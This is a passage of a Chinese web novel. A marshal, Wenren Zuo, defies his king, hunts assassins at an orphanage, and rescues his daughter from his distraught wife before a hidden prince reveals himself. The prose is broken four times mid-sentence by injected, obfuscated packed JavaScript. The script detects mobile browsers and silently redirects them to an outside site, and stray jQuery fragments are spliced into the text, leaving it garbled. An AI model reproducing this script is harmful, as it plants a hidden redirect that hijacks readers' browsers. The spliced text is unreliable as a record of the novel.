;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539113|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陛下!” “干什么呀闻人?”姜昆维突然转过头来盯着他,气恼地说,“陛下陛下的,叫半天了,你想干什么啊?” 闻人佐一跪不起,“我不能离开摄文!” 姜昆维困惑地嚷道:“怎么就不能离开摄文了?” 闻人佐不愿在杜光欧的面前明说原因,含糊地道:“在解决内患之前,我不能。” 他说完,抬头看着摄文王,认为对方明白他的意思。 姜昆维的脸色阴晴不定,“等你解决都到什么时候去了?” “就快了。”闻人佐如此答。闽派就在摄文,就算掘地三尺他也要把他们找出来,“陛下,只要再给我一些时间——” “闻人!”姜昆维打断他,愠怒地拍打座椅扶手,“远道而来的朋友就在你我的面前,他的大事亟待解决,你却要耽搁拖延,叫我千里迢迢而来的朋友白白等待吗?” “不敢,只是请您另则他人寻找横古山脉的通路——” “我就指定是你了!” 气氛愈发焦灼,此刻,那血皑来的王室似乎有些看不下去,在一旁开解道:“摄文王,寻找通路这种小事确实不必大元帅亲自出马……” 姜昆维神色决然,一抬手,意思是叫杜光欧不用再说,“我的朋友,派大元帅去是我的态度,这和事大事小没有关系。” 他说完,靠在椅背上,布满了青筋的手搭在扶手上。他俯视着闻人佐,视线渐渐有些冰冷,“大元帅,高贵了啊,现在连我的命令都敢违抗了。” “陛下,并非故意忤逆您,但是——” “但是”什么没说出来,只感觉肩上被人猛踹了一脚,整个人向后仰去。 对面的男人怒不可遏,他的暴力又开始蔓延,金色长发向四周炸开,眉间似乎有无尽的怒火。 “就记挂你那些已经失去的尊严,而不关注当下发生的种种。”姜昆维黑着脸说。 闻人佐调整了一番姿势,依旧垂头跪在姜昆维身前。在这个摄文王收回他的命令之前,闻人佐不打算起身。 姜昆维伸手从碟子里抓了一把浆果,动作有些大,弄得台面上乱七八糟。他翘起一条腿,拨弄着手心里的紫色颗粒,选了一颗送进嘴里,在牙齿间咬爆。那股汹涌澎湃的怒意似乎便这么退去,视线冷淡地坠在大元帅的身上,“在你想清楚之前,就跪在这里吧。” 闻人佐深深低下头去,一动也不动。 杜光欧来回看着两人,放轻了声音,劝道:“大元帅,请你再考虑考虑摄文王的话。也是为了你们自己的家国,请一定认真对待这次对抗黎军的作战……” 闻人佐听完,没有说些什么。他想,他不是不认真,只是有更紧急的事务必须优先解决。 戈首中的比赛还在如火如荼地进行,闻人佐背对着场地,看不见里面发生了什么,只能听见司戈激情洋溢的解说。 摄文王和一旁的血皑王室欣赏着场地中的赛事,你一言我一语地点评着,聊得全是比赛的事,似乎完全忘记了眼前跪立在地的大元帅。 147. 意料之外3 比赛结束,戈首宣布今年预选赛的三位晋级者:“屠夫”,双胎黑骑,“银弓”寂尔。 观众如潮水般退去,而摄文王也早就与杜光欧一同离开看台。 直至此刻,闻人佐也依然跪在地上。许多人看到了他,但无人上前打听情况,也没人敢把他扶起来,唯一有权这么做的人已经离开了。 周围都安静下来的时候,闻人佐从地上站了起来。他的双腿已然麻木,甚至感受不到双膝,但是,这不妨碍他站得笔挺。 闻人佐自顾自在原地待了一阵子,而后,默默地从后面的通道离开了这名叫戈首的角斗场。 摄文王没有让他起来,他本该继续跪着。 但是,就算违抗王命,他也有不得不去做的事。 闽派已经在摄文现身,他要去亲自去打探他们的消息。早一日解决这个梦魇,早一日,他才能从过去的枷锁中解脱。 摄文王说得没错,他的确记挂那些已经失去的尊严。在没赎清罪孽之前,他不算活着。 离开了戈首之后,闻人佐径直往妓院的方向而去。 绝生幕的预选赛结束的很晚,太阳已经西落,街上的人们纷纷归家,暗夜之中,没人留意到他匆忙的脚步。 几天前,那个名叫旭雨的逝露阁成员说,他们在摄文西边的孤儿院发现了闵派的踪迹。闻人佐打算亲自去那里查看一番,或许能发现一些蛛丝马迹,但他不知道具体是哪个孤儿院,为此,他需要有人为他引路。 来到了妓院,它屋门半掩着,成熟女子靠在门边上,对经过的路上微笑。那是个熟面孔,闻人佐不知道对方叫什么,但她绝对已经在这里待了许多年了。大元帅出现在门口的时候,她没有惊讶,更没迎上来接待她,只是笑着敞开门,像一只光鲜亮丽的鸟张开自己的翅膀,请元帅进去。 闻人佐进去之后,在一层的账房里找到了打瞌睡的神婆。他问她前些天来传消息的旭雨在哪,神婆说她在自己的住处。 有了具体的位置,闻人佐来到了那个逝露阁成员的家门口。给他开门的是一个黄衣服的女孩,看上去只有十四五岁,辫子扎得高高的,一双眼睛水汪汪盯着他。 闻人佐说来找旭雨,女孩就把人带出来了。那个干练的逝露阁女人走路一点动静都没有,像是在乘风一般。闻人佐和她打听孤儿院的位置,说想去看看有没有什么闵派留下的踪迹。旭雨听到这里,说那位置偏远,她可以带着他去。 那个黄衣服的女孩也跟了出来,三个人于是就这么往西边的孤儿院赶去。 路上,闻人佐得知那女孩是旭雨的帮手,代号叫小雀,逝露阁一般都是两人一起行动,吃也在一起,睡也在一起。她们刚才从汲淼平原的西部回来没多久,在得知闵派现身的消息之后,其他散落各地的逝露阁成员也在陆陆续续往回赶。 闻人佐对这个组织的感激大于尊敬,三年前,是逝露阁找出了刺客联盟曲蛊的具体位置,他才能出兵将他们一网打尽。 夜深时,三人抵达了孤儿院的门口。 里面还灯火通明地亮着,虽然天黑了,但其实离睡觉的时间还有一阵。这片大地的日照过于短暂,人们只能在夜晚点起烛火,继续白日未完成的事。 借口说要领养一个孩子,孤儿院的院长便热情地领他们进去了。 闻人佐和院长攀谈起来,问最近来孤儿院的人中有没有什么特别的人。院长想了想,说没有什么特别的,都是一些想要领养孩子的温柔父母。 这么问肯定是没什么答案。闻人佐暗中向院长透露了自己的身份,并向他要来了最近出入过孤儿院的人员名单,打算带回去作为线索摘抄一份。 那之后,他们便在孤儿院里搜索了一番。经过中央庭院的时候,闻人佐意外瞅见了一个熟悉的身影。 中央庭院是孩子们的游戏区,此刻也有一群小孩在其中嬉戏。一个暗金头发女人身处这群孩童之中,她衣装华美,举手投足都是一副高贵沉静的姿态,身边跟着两个尽忠职守的侍者。那正是当今摄文王的妻子,王后丝黛拉。 女人摘下了她掩面的面纱,露出金色的眼眸来,模样看起来十分年轻,可能才不到二十岁。她嫁给姜昆维,两人有近二十岁的年龄差距,可从未有人在背后议论些什么。 闻人佐和院长几人待在有些阴暗的走廊里,盯着那和谐欢欣的庭院里的景象。庭院里被一盏盏温馨的烛光照亮了,里面的人看不到身处暗处的他们。 “王后每隔一段日子就会过来,陪孩子们玩耍,给他们讲故事。”院长说道,眉目和蔼地笑起来,“王后实在是一个温柔的人,她在乎这里的孩子,在乎我们未来的希望。” 闻人佐附和道:“嗯,是。” 关于这个摄文王后,他了解得不多,只知道她是一个亡国公主,四年前被姜昆维接济到了摄文,没过多久男人便娶她为妻。 王后夜深依然徘徊在孤儿院,可见她的怜悯。但比起那些,闻人佐更担心对方的安危,闵派的刺客前不久刚来过这家孤儿院,在这里停留的王后明显处于危险之中。 看了一阵子,几人离开了庭院,来到孤儿院的门口。闻人佐和院长说不必远送,后者就回去了。 “我也留下吧。”旭雨盯着孤儿院的内部,说道,“虽然王后身边肯定有人看护,但那些人不知道刺客潜伏在摄文,警惕性不高。” 女人的打算正和闻人佐的心意,他也觉得王后身边需要加派人手,“那就劳烦你了,姑娘。可惜我手中人力拮据,帮不上什么忙。” “没什么,这是我分内的事。”旭雨飒爽地说,朝她的跟班招招手,“小紫,跟我翻墙回去。” “好的,姐姐!” 两人的身影像灵巧的雪兔,三两下就没入漆黑的建筑之中,不见了身影。 两人为此这么卖力,闻人佐也不好意思回家休息。他手里握着孤儿院的出入名单,决定先过一遍,再和摄文边境近期的出入名单核对一番,看看能不能看出什么东西来。 趁睡觉的点还没到,他找到一个关系还不错的档案所的文官,半夜回王庭取出了边境收上来的人员薄。那之后,闻人佐便留在王庭内他的一间理事房里,彻夜点灯核对了起来。 名单很多,他看了一夜,又来来回回核查了半个白天,才从中发现了一些蜘丝马迹。 一个月前,有一伙人标注是来自西边的刚都果,进城原因写的是探亲,物资搜查没发现什么异常。表面上看着好像没有问题,但闻人佐还是注意到了他们,因为刚都果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552344|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这地方离摄文很远,一次性来几十个人探亲多少有点奇怪。 但这还不足以说明什么,闻人佐收拾好了整理好名单薄,闭上酸涩的眼,揉了揉眉心。打算把新发现交给神婆,看看她们那边能不能得出什么结论。 他离开了自己的理事房,有些疲惫地往王庭外走。 此刻是下午,阳光正亮,身上被晒得暖烘烘的,叫他有些犯困。走出王庭,他看到一尊巨大的石柱下站着一个眼熟的身影,那是他府邸上的侍者。 闻人佐正奇怪王庭门口怎么会有家里的人,对方已经快步朝他跑过来,一下子攀住他的胳膊,泣着嗓子喊道,“大人,夫人在闹自杀!” 闻人佐听闻,脑袋里嗡的一声,他顿时睁大了眼睛,问:“怎么回事?” 对方说:“突然就这样了!我也不知道怎么回事,大人,您快回去吧!” 闻人佐当即动身和侍者往回赶。 一种隐蔽的不安在心底蔓延。倪宝娇为什么突然闹自杀,他的夫人怎么了? 临近大元帅的府邸,便见到一伙人水泄不通地围在宅院门口。那些围观者看到了赶来的人,纷纷为他让出路来。 隐约的哭声从府内传来,那是闻人芹的声音,听到女儿的哭声,闻人佐立刻加快了步伐。 他几乎是冲进了府邸之中,侍者们看到他回来,纷纷朝他朝跑过来,在他的身边喊道:“大人,您快劝劝夫人吧!” 闻人佐依然不知道发生了什么,他拂开面前碍事的人,看到庭院中央摆着一张突兀的椅子,女人坐在那上面,手里握着刺绣用的针,而他们共同的女儿就坐在她的腿上,哭着挣扎,想从母亲的怀抱里挣脱出来。 闻人空烛待在几步之外,不敢上前似的,劝倪宝娇不要想不开。 倪宝娇的脸上残留着丝丝血迹,不知道那是谁的,抱着自己的孩子,一根银针抵在闻人芹的脖颈上。她有些淡漠地投来视线,看着那个匆匆而来的人。 “你来了啊。”倪宝娇看着自己的丈夫,平静地说道。 闻人佐不敢再上前一步,因为那根银针已经快要插进闻人芹的咽喉里,“宝娇,你这是做什么?!你先……先冷静些,放开小芹……” “闻人佐,我是不是在你心里根本一点也不重要?”女人的头发凌乱,似乎在闻人佐赶来之前便已经大闹了一番。她看上去无力,然而的手臂全像是无法挣断的锁链,无论闻人芹如何挣扎也无法逃脱。 “妈妈,放开我……”女孩说,“我好害怕……” 倪宝娇没有理会女儿,只是看着自己的丈夫,继续说道:“你让我没法再活下去了。” 闻人佐紧张地盯着倪宝娇,生怕她一个激动,做出什么不可挽回的事来。他放轻了自己的声音,商量着说道:“宝娇,有什么事情你冲着我来,不要为难小芹,放开她。” “她是你的女儿,也是我的女儿。”倪宝娇说,“让我无法承受的事,待她长大了,也会成为她痛苦的根源。” “你在说什么……”闻人佐说道,他尽量靠近倪宝娇,以便展开下一步行动,“你待她这么好,她会幸福地长大。” 这时候,倪宝娇笑了起来,说:“真的吗,闻人佐?有你这样的父亲,她要怎么幸福?” 148. 意料之外4 “我……”他无法反驳,悄然继续往前挪步。 “你成天去妓院,连夜不归,我都视而不见。我以为这样就不会有什么,只要我装聋作哑,那么这个家还是能维系下去的。”她越说,眉目间的积怨便越深,几乎化作颤动的实形,压抑地隆隆作响,“但是,现在,这件事已经闹得满城皆知,你要我怎么活下去?你要我怎们让小芹在一个充满了讥讽的环境中生存下去?那样的话,还不如随我一起……” 她说着,手中的力道加重了。 闻人芹感受到了脖子上的压迫,开始哭叫起来,“妈妈,妈妈!我疼!” 闻人佐目眦欲裂,他大吼,“倪宝娇!” 下一刻,他冲了出去,视野里除了女儿以外什么也看不到。手脚在发热,身体痛苦地撕扯,他猛然撞开自己的妻子,将闻人芹护在自己的怀里。 他惊魂未定,低头去看怀中的女儿,闻人芹哭得厉害,稚嫩的脖颈破了一小块,伤口不深,只来得及浅浅地划开一个口子。 那个女人是认真的,如果不是他及时制止的话,她当真是打算杀了自己的女儿。 震惊过后的一瞬间,血气上涌,脑海霎时被汹涌的怒意灌溉,视线落在自己妻子的身上,过往的种种温情一时在他脑海里消失不见,那憎恨的目光仿佛在看一个有血海深仇的敌人一般。 被推开的女人倒在地上,缓慢地坐起来,她的手掌在流血,银针在半路甩飞了出去,叮琅琅滚向一旁。 她呆坐了片刻,凌乱的散发遮挡住了面容。而后,开始地上爬行,又要去摸那掉在地上的银针。 而这个时候,闻人空烛赶过来,退休的老将军飞快地从自己的儿媳手下抢过了那个凶器,带着它连连后退。老人家口中说道:“你别想再碰它了!” 倪宝娇不甘地盯着那根针,可她已无力抢夺,刚才闻人佐那一下像把她撞散架了,让她趴在地上无法起身。她低下头去,幽怨地道:“闻人佐……你怎么能这么对我,闻人佐……” 一旁,被点名的男人看着自己的夫人,这个和他曾经有过愉快时光的故人在悄然之前已经变成了不认识的模样。 闻人佐如何也想不到,倪宝娇居然会对自己的女儿下手,这让他既后怕又愤怒。 险些要失去女儿的惊惧攥紧了他,而在那惊讶之上升起的是对始作俑者的愤怒,这情绪无法控制,它一连串地涌上来,叫人难以应对。 闻人佐的手在抖,他往后退了一步,又一步,他不知道自己会做出什么事来。 将哭泣的闻人芹交给了侍者,几个陪着闻人芹长大的姑娘把她带走了,送到后院去疗伤。 前庭一旁狼藉,大元帅府邸的大门敞开着,围观者议论纷纷。那些蝇虫一样的议论声让他又烦又恼,于是遣使侍者将那些人驱赶出去,“把门关上,没什么好看的。” 于是侍者嚷嚷着,驱赶起了大门口的聚众。 一声叹息从闻人佐的身边传来,闻人空烛摇着头说:“唉……怎么就变成了这样。” 倪宝娇依然独自在地上萎靡,没有人将她扶起来。 “到底怎么回事?”闻人佐问。冷静下来想想,他不认为倪宝娇是个因为别人的闲言碎语就会生出寻死念头的女人,而且还是带着女儿一起。 闻人空烛又是长叹一声,说道:“今早来了几个有名有脸的重臣家里的侍者,传话说夫人们有场一年一度的聚会,请宝娇也去。宝娇可开心了,做了吃的,跑去买了新衣裳,拿出好多她压箱底的珠宝首饰,想要跟那些个夫人分享……” 说到这里,老人家不忍地摇摇头,走到倪宝娇身边,虚扶着她,帮她靠在一个雕刻精美的瓷器旁,“但是,她回来的时候,食盒破破烂烂的,宝盒里的项链啊手镯啊都碎了,衣服也脏了。 “我听到动静,到门口去迎,哪想到不知谁在家门口……哎,扔了些不干净的东西。宝娇就在那收拾,也没叫个侍者帮她,就一个人在那捡。 “到那时候为止,她还好好的,虽然身上脏兮兮的,也什么话都不说,但是人看着精神还正常。可是,等她弄干净了家门口,又去把自己拾掇一番,出来陪小芹在院子里玩了一阵后,突然就……哎。” 闻人空烛叹息,没再说下去。 闻人佐因听到的话而眉头紧锁,他大致理解发生了什么,一些妇人在他夫人的耳边说了些肮脏话,把她叫过去羞辱,又派人在她家门口扔了些秽物。 若是放在平常,或许倪宝娇不会有这么强烈的反应,可偏偏是那些大臣的夫人们做了这些事,倪宝娇被她本应所属的群体排挤,其中甚至有一度和她交好的朋友,这让她受到了从未有过的巨大打击。 闻人佐像是不知该怎么办了一般,矗在原地,半晌才靠近倪宝娇,问:“……夫人,这种事,为什么刚才不和我说?” 倪宝娇靠着那半人高瓷器瓶,刘海盖住了她半张脸,显得落魄又凌乱,她缓缓地抬起头来,看着闻人佐道:“还要说什么。你去成天去那种地方,也该想到在你身边的人会经历什么吧。” 闻人佐感觉心脏抽搐了一下,不知是因为倪宝娇的话,还是那个他曾经爱过的女人现在这幅失魂落魄的模样。 他早就冷静了下来,闻人芹的哭泣已然远去,不再催化他愤怒的气焰。而此刻,一种深陷其中的自责困住了他,在他面前的是一个受他牵连的女人,因他当年的选择而过得十分凄惨。 闻人佐上前,想要把她扶起来。然而,就在这时,大门外传来一声污秽的叫声。 “荡夫□□,当真般配!” 闻人佐转头,目光像刀一般刺去。大门口,一个吊儿郎当的男人站在那,佝偻着背,双手插在口袋里,一只眼睛睁不开似的耷拉着,身后跟着一伙地痞流氓。 那带着一伙小弟的地头蛇堵在门口,不让府邸的侍者将大门关上。而他也不进来,就在那大门口立着,出言讥讽,“在这门口都能闻到一股骚味,啧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552345|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啧,风气真差啊。谁能想到,当今大元帅,私生活居然如此不检点。怎么不见您把那些风尘女子都带回来,在家里摆个筵席,好让大伙也开开眼界呢!” 大元帅眉间的沟壑犹如利刀削成,那般污秽的言语,他听来都浑身恶寒,更何况自己的夫人。 “把门关上!”闻人佐向门口的侍者命令道。 然而,院外那群闹事的不依不饶,他们拿来木棍子,干脆把府邸的门卡住,不让它关上。领头地头蛇大声嚷道:“大元帅!弟兄们要在摆摊,卖点风流画本,我看您这门前不错,符合情境。开着门,人们都当是您家里卖的,我生意也能做大做好。到时候多出来的,我给您分成!” 侍者没法将那些闹事者驱逐出去,门前的观众越来越多。 闻人佐见状,当即打算亲自上场。他回到屋中取来了自己的剑,将它抽出来,一把甩开剑鞘,怒气冲冲向大门走去。 地头蛇见他过来,大声说道:“哟!大元帅要动手打人了。不,他拿着剑,这是要杀人了!” 话音刚落,剑已经来到了他的身前,然而,那个地头蛇却丝毫没有退意,调笑着说:“大元帅,您可要想清楚了,这一剑刺下来,那可是肆意杀害平民的罪行,你应该不会不清楚吧?” 闻人佐当然清楚,律法是先王当着他的面写下的。然而,此刻,闻人佐却只当自己的记忆里没有那一刻。他向前逼近,锋利的剑尖一同向前,几乎要刺穿对方的躯体。 地头蛇一步也不后退,脸上扬起激动的笑意,用狡黠的目光盯着闻人佐,对他道:“您要是触犯了律法,这回连摄文王都保不了你。” 闻人佐的手臂在因愤怒而在颤抖,最初只是想将对方逼退,然而,闹事者似乎铁了心,一步也不动,好像如果大元帅继续向前,他就当真打算死在这里一般。 地头蛇瞎了一只眼,腿也坏了一条,这样的人早就没有未来可言,他不在乎自己是不是成为了谁可弃的棋子,只想像烈火一般将敌我双方尽数烧毁。 “兄弟们,把画本拿过来,就在元帅府前摆摊!” 地头蛇刚说完,突然,咻的一声,什么东西从一旁飞过来。闻人佐灵敏的视线捕捉了那东西的轨迹,他看着它逼向闹事者的头颅,但是,他没有出手阻拦。 噗嗤一声,铁器插入血肉的声音传来。一把暗器不知从何而来,插入了闹事者的嘴巴,将他的脸从左到右贯穿。 “唔。”那人发出囫囵的一声,一开始还没有反应过来发生了什么,他摸着自己的脸,碰到了那个插入了他嘴中的暗器,恐惧在他的眼中蔓延,然而,他却不能完整地说出一句话,只能大声地、像某种将死的禽类一样发出尖锐的叫声,“噫呀——!” 围观者不知道发生了什么,有人见了血就跑了,但大部分还是留在原地看戏。 闻人佐看到了凶器飞来的轨迹,他向它投出的方向看去,顿时,他睁大了眼睛。 他怎么来了…… 149. 意料之外5 闹事的地头蛇将那暗器从嘴里拔出来,整张扭曲的脸鲜血淋漓。他瞪大了仅剩的那只眼,叽喊道:“哪个不要命的,居然偷袭暗算我!” 这时候,从人群中走出来了六七个女人,她们有人身着朴素的单衣,有人衣装光鲜亮丽,头发梳起各异的型样,步态各有不同,当中有人目光冷淡,也有人极具攻击性地笑着。 这群女人开了一条路出来,从她们当中走出来一个金发的年轻男人,身形瘦弱,眉目却很坚毅。 闻人佐意外地盯着来人,那是姜雨,跟在他身边的女人们都是逝露阁的人。 他们怎么来了? “是我让人对你投的飞刀。”姜雨神情睥睨,朝那挑事者说道,“不过好像还是没能让你闭嘴。” 地头蛇站起来,捂着他鲜血淋漓的脸,恶狠狠盯着那个金发的男人,“你是什么个东西!” 姜雨笑起来,看上去游刃有余,“你不会想要惹我。” “啊?说的什么狗屁。”地头蛇丝毫没有胆怯,反而因为脸颊上的贯穿伤,整个人显得更加狠厉,“带着一帮烂□□的,神气什么?哦!我知道了,你也和那风流成性的大元帅是一伙的,是吧?” 姜雨皱了皱眉,表现出不悦,侧头,对离他最近的紫衣女人说:“芋伶姐姐,这人嘴巴太不干净。” 芋伶听闻,从人群中出列,朝那满脸鲜血的地头蛇走去。 男人见她过来,却是不怀好意地笑起来,上下打量着她,目光十分下流,“哟,姑娘打算怎么让我闭嘴啊,我倒是不介意和你在这上演个活春宫,正好让我的小弟取取材!” 女人来到了他身前,男人的手掌已经伸了出去,目标是她轻薄的窄腰。然而,没等他带血的手掌附着上去,只见那女人的身姿轻盈地一转,接着惯性劈来一计手刀,一下子砍在男人的脖颈上。 地头蛇嗓子里发出气结的声响,他身体僵了一下,而后,像个沉沉的沙袋,就那么直挺挺倒了下去。 芋伶拍了拍自己的手,冷着眼盯着男人,像看一具尸体。 见她是个女人,闹事者的小弟一拥而上,要为自己的老大讨个说法。而那紫衣的女人便站在他们的包围圈之中,抱着双臂,充耳不闻,不以为意。 混乱之中,又有人对她出手。下一刻,只听几声惨叫,那些地痞像烂熟的瓜一样,一个接着一个摔在地上。 芋伶站在他们之中,分毫无伤。 其中一个地痞爬起来,边往后退,边说道:“等着啊……你们全都吃不了兜着走!” 剩下的人架起地头蛇,仓皇而逃,“你们完蛋了,和这狗屁元帅等着一起进牢里吧!” 姜雨脸色冷峻,悄声对他身边另一个女人说:“姐姐,悄悄跟上去,弄清楚他们是谁派来的。” “是。”一个身形高挑的女人领命,和她的同伴一起往后退了几步,两人一同消失在了围观的人群中。 府邸外的骚乱平息下来,吵闹声引出了府内的人,闻人空烛搀扶着倪宝娇走了出来,像是想知道外面发生了什么。 闻人佐看到了,想上前阻止,他不希望家人里牵扯进到事情里来。但是,姜雨却率先叫住了倪宝娇和闻人空烛,闻人佐只好停下拦住他们的动作。 姜雨走上前来,站在倪宝娇和闻人空烛的面前。 闻人空烛看到姜雨,皱起了眉头,深深地打量着面前这个金发的男人,“我看着你怎么这么眼熟……” “老将军,我们应该见过,我是姜雨。” 闻人空烛回想了一番,突然,他睁大眼睛,“你是,您莫非是——” 他们几人的交谈传进了围观众人的耳中,姜雨这个名字出来的时候,人群中响起了纷扰的议论声。 “姜?和陛下同姓?” “不是同一支吧……” “姜家不是早就只剩摄文王一个……” “殿下……”闻人佐凑到姜雨身边,小声地对他说着。他试图挡住对方的身形,不让围观者再观察他,“您为什么要离开妓院……” 没等姜雨说什么,闻人空烛突然大声说道:“五殿下,真的是您……您还活着!” 老将军想要恭敬地行礼,但是,他还扶着倪宝娇,只能用言语表达自己的惊讶之情。 随着闻人空烛的大嗓门,这下,围观人群再度响起一阵嘈杂。 “真的是?” “真的假的?!” “可他不五年前就……” 姜雨微笑着,对于身份的暴露不以为意,向闻人空烛说道:“是啊,是我。” 那围观的群众之中,有胆子大的问道:“你真的是姜雨吗?是先王的五儿子?” 姜雨转过身,朝围观者张开双臂,“请你看我金色的发,蓝色的眼,以及因为当年的伤势而无法生长的身体。如果这些都无法证明我是姜雨……那没办法,改日还是让我的哥哥为我作证吧。” 他这话一出,四下哗然。 闻人佐不明白姜雨为什么要坦白自己的身份,前些日子他们不是已经说好了,等解决了闵派的人之后,他会把他接出来吗? 姜雨说完了,就转过身往大元帅的府邸走,几个逝露阁的女人也跟着进了门。 门口已经没有了闹事者,侍者终于嘭一声关上了大门,将群众的惊诧留在了宅子外面。 府内,姜雨像是对这里熟门熟路,也丝毫没把自己当外人,叫逝露阁的人去一旁的长亭休息,自己则招呼府上的其他人和他一起来到前厅。 “我听说佐叔家里发生了一些不好的事。”姜雨坐下来后说道,“我想,我要是再不出面的话,谣言越闹越大,就算最后事情解决了,清白也回不来了。” 他意有所指地说道,目光投向一旁被闻人空烛搀着的倪宝娇,“这位就是倪夫人吧?” 倪宝娇也知道了对面的人是谁,对他恭敬地点头。 “佐叔和你说过我的事吗?” 倪宝娇摇摇头,“没。” “果然。”姜雨了然地说道。侍者上了茶水,他嗦了一口,叫大家不要傻站着,都坐下来好好聊聊,“怎么不说啊,佐叔,这不是让叔母误会吗?” 倪宝娇看了看姜雨,又看了看闻人佐,露出一副疑惑的神情。 闻人佐没有找座位坐下来,只是立在前厅一坛绿植旁边,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552346|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……这些事,和她没关系。” 姜雨瘪瘪嘴,无奈地看着倪宝娇,“你看他这个性格,能把人闷死。” 倪宝娇低了低头,不置可否。 这时候,闻人空烛按捺不住地开口了,“殿下,老臣真的没想到您还活着,这些年您都在哪啊,怎么会一点消息都没有?” “我就在妓院里。”姜雨说,“五年前的惨剧之后,佐叔把我救走了,他私下找人救治我,唯恐我再被人盯上,就把我藏在了那里。” “在妓院?”闻人空烛问。 “是,这些年多亏了佐叔照看我,我才能安然无恙地活到今天。” 听到这里,倪宝娇好像反应过来了什么一般,看向一旁的闻人佐。她的目光固执地盯着他,像是在问话,渴求着一个答案。闻人佐感受到了她的目光,愧疚地看了她一眼。 对上目光的那一瞬间,女人好像什么都懂了似的,微微张开嘴,难以置信地盯着他。他们两人还是像以前一样,维持着独有的沉默,可是这一刻,有些东西好像已经变了。 姜雨吹着热茶,缓缓说道:“佐叔,你经常跟我说,叔母特别善解人意,迎娶她是你这悲戚的一生中为数不多的正确决定,你还在我面前卖可怜,说你活得太惨,只有叔母理解你。今天叔母被逼成这样,看来真的发生了些不太好的经历啊。” 姜雨的话中有添油加醋的成分,闻人佐听得出来,但他没纠正。 姜雨话音落下,前厅陷入了一阵沉寂。有些清冷的房间中,倪宝娇抱住自己,缓缓地弯下腰去,很冷似的。闻人佐见状,凑到了她的座椅旁边,蹲下去,把自己的外裳披在她的肩上。 “唔,还是这外面的茶好喝。”姜雨边喝茶,边盯着夫妻两人的动作,继续说道,“叔母,你知道吗?五年前的惨剧发生之后,佐叔他经历了多少。险些他就不是大元帅了,甚至命都差点让那些文不能文武不能武的元老夺去,直到今日,王庭还是有太多的人看不起他,给他使绊子。他这五年,在狭缝之中,一边要应付我那个脾气反复无常的哥哥,一边又要寻找敌方刺客联盟的残党,还要时不时来妓院看望我……” “殿下,说这些……”闻人佐盯着姜雨,不想让他说太多这些苦情的戏码。他和倪宝娇两人,又有哪个容易。 “我就是要说,你管我啊,佐叔,你管不了我。”姜雨笑着说,仗着他作为亲王的权势,肆意妄为,“不过,叔母,你应该过得也不好。这些都是我的错,我要是早点下定决心离开妓院,就不会闹出这么多事了。” “殿下,这是不您的问题。”闻人佐道。 一旁,倪宝娇的身影轻轻抽动了一下,闻人佐侧头望过去,却见到自己的夫人在偷偷地抹眼泪。那副模样深深地刺痛了他的心,他没想到她会这样,他已经很久没有见到倪宝娇落泪了。在惨剧发生、他们家道中落的那年,她没有。第一次得知他去妓院的时候,她没有。就连刚才被人那般讥讽时,她也没有。但是,现在她的眼眶却红了,衣襟也沾湿了。 姜雨适时地闭上了嘴,明明是他挑起了这一切,然而,现在他却袖手旁观了,把一个哭泣的妻子留给了他的丈夫。 150. 意料之外6 闻人佐将倪宝娇搂进怀里,让她靠在自己的胸膛,“对不起,夫人……” 倪宝娇轻轻抽泣着,过了一阵,她渐渐平息了下来,眼眶还泛着红,睫毛上挂着斑驳的露珠,但她已经像每一个坚强的女人那样,镇定了自己的情绪。 “对我说对不起做什么。”倪宝娇说,她没有看着闻人佐,只是在他的怀里老实待着,声音闷闷地说道,“在你心里,我有那么不通情达理,在听到了这些事情之后,还认为什么都是你的错吗?” “夫人……” 可他认为自己有错,这是必然无疑的。自从他们在一起的第二年,从他们拥有了闻人芹,从五年前的那件事发生到现在,他们就没有一日安生。是他没有为这个家带来安稳。 倪宝娇伸了只手出来,她依然没有看自己的丈夫,只是往上摸去,摸到了他稍有胡茬的脸,在那上面轻轻的抚摸着。 闻人佐快不记得,上次他们如此亲密的举动发生在什么时候,那似乎已经是上辈子的事情,过于久远,也过于让人怀念。 